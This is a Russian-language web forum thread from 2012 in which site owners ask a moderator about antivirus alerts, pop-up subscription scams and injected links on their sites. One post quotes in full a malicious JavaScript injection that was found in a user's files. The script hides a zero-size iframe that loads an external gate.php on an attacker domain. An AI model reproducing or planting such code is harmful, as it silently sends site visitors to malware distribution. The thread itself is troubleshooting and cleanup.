Модератор форума: Yuri_G  
Вирусы на сайтах_2
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 766 | 13:57:58
Вагнер-Р[eng]AV, это фолс или реакция на ссылки партнеров. на странице что заблокирована нечему представлять угрозе кроме ссылок внизу. у вас внизу откручиваются ссылки с чужих сайтов

Дилер Tsitron (Цитрон). Запчасти - запчасти ивеко.. вот попробуйте перейти по ссылке запчасти ивеко. если ваш антивирус запишит снова, то он реагирует на ссылку. если нет - то фолс. но у вас по всему сайту левые ссылки раскиданы внизу в пда версии. он запросто может реагировать на любую из них

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Вагнер-Р[eng]AV
Сообщений: 52
Репутация: 57

Сообщение # 767 | 14:55:52
webanet, что это фолс? Ссылку я проверил - она чистая smile

Ben1991
Сообщений: 4
Репутация: 6
Уровень замечаний:

Сообщение # 768 | 17:11:50
Сайт http://goodsoft.net.ua/ , в ява скрипты, что хранятся в файлах на сайте, через некоторое время, в конец дописывается какойто вирус... антивирус пишет JS/Iframe.BX...
питался стирать эти записи...через время опять дописывается...вот что дописсывает:
Code

/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://weqeweqqq2012.com/gate.php?f=1038489&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
Сообщение отредактировал Ben1991 - Суббота, 07 Апр 2012, 17:22:28
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 769 | 17:24:37
Ben1991, уберите это
Code
var oldDomain = 'http://goodsoft.ucoz.ua';
var newDomain = 'http://goodsoft.net.ua';
var oldAddress = window.location+'';
function redirectToNewDomain()
{
var newAddress = oldAddress.replace(oldDomain,newDomain);
window.location.replace(newAddress);
}
if(oldAddress.indexOf(oldDomain)!=-1)
{
redirectToNewDomain()
потрясающая глупость. уберите галку с индексации по обоим доменам и поставьте автоматическое перенаправление со стандартного на прикрепленный.
запретите доступ к панели управления и админ-бару если есть у кого-то и смените пароли

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Лулу_125
Сообщений: 6
Репутация: 0

Сообщение # 770 | 17:34:04
Я не могу создать новую тему поэтому пишу тут.
У меня при входе на сайт глюк Вот сайт

При открытии сайта на весь экран всплыло окошко с просьбой заплатить при входе на сайт. При закрытии окошка невозможно было ввести логин в форму, через несколько перезагрузок все прошло.
Что это было? и сколько пользователей так "попали".
Стала открывать сайт с другого браузера ситуация повторилась.

Вот что написано на табличке.
((((((Доступ к сайту http://mymobile-fun.me
Стоимость подписки 8 руб. с учетом НДС в день)))))

ПАМАГИТЯЯЯЯ!!!!!!!!!!!!!!!
Ben1991
Сообщений: 4
Репутация: 6
Уровень замечаний:

Сообщение # 771 | 18:17:12
Ben1991, сменил пароли, доступ вродебы запрещен у других групп...
если через время опять вирус будет я опять напишу...
Вагнер-Р[eng]AV
Сообщений: 52
Репутация: 57

Сообщение # 772 | 13:18:36
Quote (webanet)
если ваш антивирус запишит снова, то он реагирует на ссылку. если нет - то фолс.
Ещё раз страшно извиняюсь, дэк что ж такое фолс? webanet, я не понял wacko

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 773 | 13:28:32
Вагнер-Р[eng]AV, фолс - это ложное срабатывание. только я сомневаюсь в том, что это ложка. ваш антивирус не реагирует ведь на простую версию сайта. реагирует только на пда. а у вас только в пда проставлены левые ссылки. SpIDer Gate это фишка доктора веба. а они славятся любовью к блоку урлов. то есть как работает оповещение. он блочит урл или блочит зараженные элементы на странице. но судя по тому что вы описали он блочит урл. если урл попал в списки то снятие этих ссылок не поможет. но блок урла вы легко могли получить от этих ссылок

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Вагнер-Р[eng]AV
Сообщений: 52
Репутация: 57

Сообщение # 774 | 14:16:05
Quote (webanet)
фолс - это ложное срабатывание. только я сомневаюсь в том, что это ложка.
Направил запрос, подожду ответа.
Quote (webanet)
а у вас только в пда проставлены левые ссылки.
Нет, в обеих smile
Quote (webanet)
но блок урла вы легко могли получить от этих ссылок
Странно, что сайт, куда ведёт ссылка не блочицца confused

Rromichh
Сообщений: 9
Репутация: 0

Сообщение # 775 | 16:15:09
Проверти пожалуйста сайт INFORMATION
Вурдалак
Сообщений: 91
Репутация: 5

Сообщение # 776 | 16:35:37
Поставил шаблон, а при входе на сайт гостем, всплывает окно с рекламой, на весь экран. Подскажите, какой нужно убрать код. http://book-mod.3dn.ru

Добавлено (08-Апр-2012, 16:35:37)
---------------------------------------------
Ну так что? Никто не знает, что-ли?? cry


TrueLaMuerte
Сообщений: 1
Репутация: 2

Сообщение # 777 | 16:45:16
1)http://pw-hack.ru/ после того как поставил другой шаблон, посещалка упала в 4 раза, грузятся непонятные внешние сайты типо bunnas.ru и другие, в самом коде исшарил все, скриптов вроде нет, но откуда взялись чужие ссылки и почему посещалка так упала...
2) И под гостем и под админом
olegsuv
Сообщений: 1365
Репутация: 127

Сообщение # 778 | 16:49:24
TrueLaMuerte, http://puu.sh/owEV

Любые работы по:
- Javascript, jQuery, HTML, CSS
- Верстке макетов и установке их на сайты
- Нестандартным решениям
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 779 | 21:28:57
Вурдалак, дайте скриншот окна, которое всплывает

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Лулу_125
Сообщений: 6
Репутация: 0

Сообщение # 780 | 23:53:08
Я написала в поддержку, все поправили, только вот ЧТО ЭТО БЫЛО - непонятно.

Прикрепления: 8567043.jpg (185.8 Kb)
Сообщение отредактировал Лулу_125 - Воскресенье, 08 Апр 2012, 23:56:38
Поиск: